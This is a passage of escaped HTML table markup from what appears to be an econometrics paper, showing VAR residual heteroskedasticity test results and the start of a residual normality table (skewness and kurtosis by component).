style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Df</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">59.02705</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">48</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.1322</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:49.8%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Individual components:</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Dependent</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">R-squared</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">F(8,29)</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq(8)</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res1*res1</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.138730</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.583902</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.7827</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.271751</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.7282</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res2*res2</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.275451</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.378113</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.2473</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">10.46714</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.2338</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res3*res3</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.309817</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.627230</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.1602</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">11.77305</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.1616</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res2*res1</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.197504</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.892158</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.5354</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">7.505163</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.4832</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res3*res1</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.114167</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.467195</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.8690</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.338359</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.8254</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">res3*res2</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.220921</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.027929</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.4380</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8.394994</span></p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.3959</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->9<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: <strong>VAR Residual Normality Tests.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"background-color:#002060; width:79.92%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Orthogonalization: Cholesky (Lutkepohl)</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"background-color:#002060; width:79.92%\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Null Hypothesis: residuals are multivariate normal</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Component</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Skewness</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">df</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">-0.289313</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.641715</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.4231</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">-1.063073</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">8.664286</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0032</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">-0.358949</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.987805</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.3203</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Joint</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">10.29381</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0162</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Component</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Kurtosis</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td 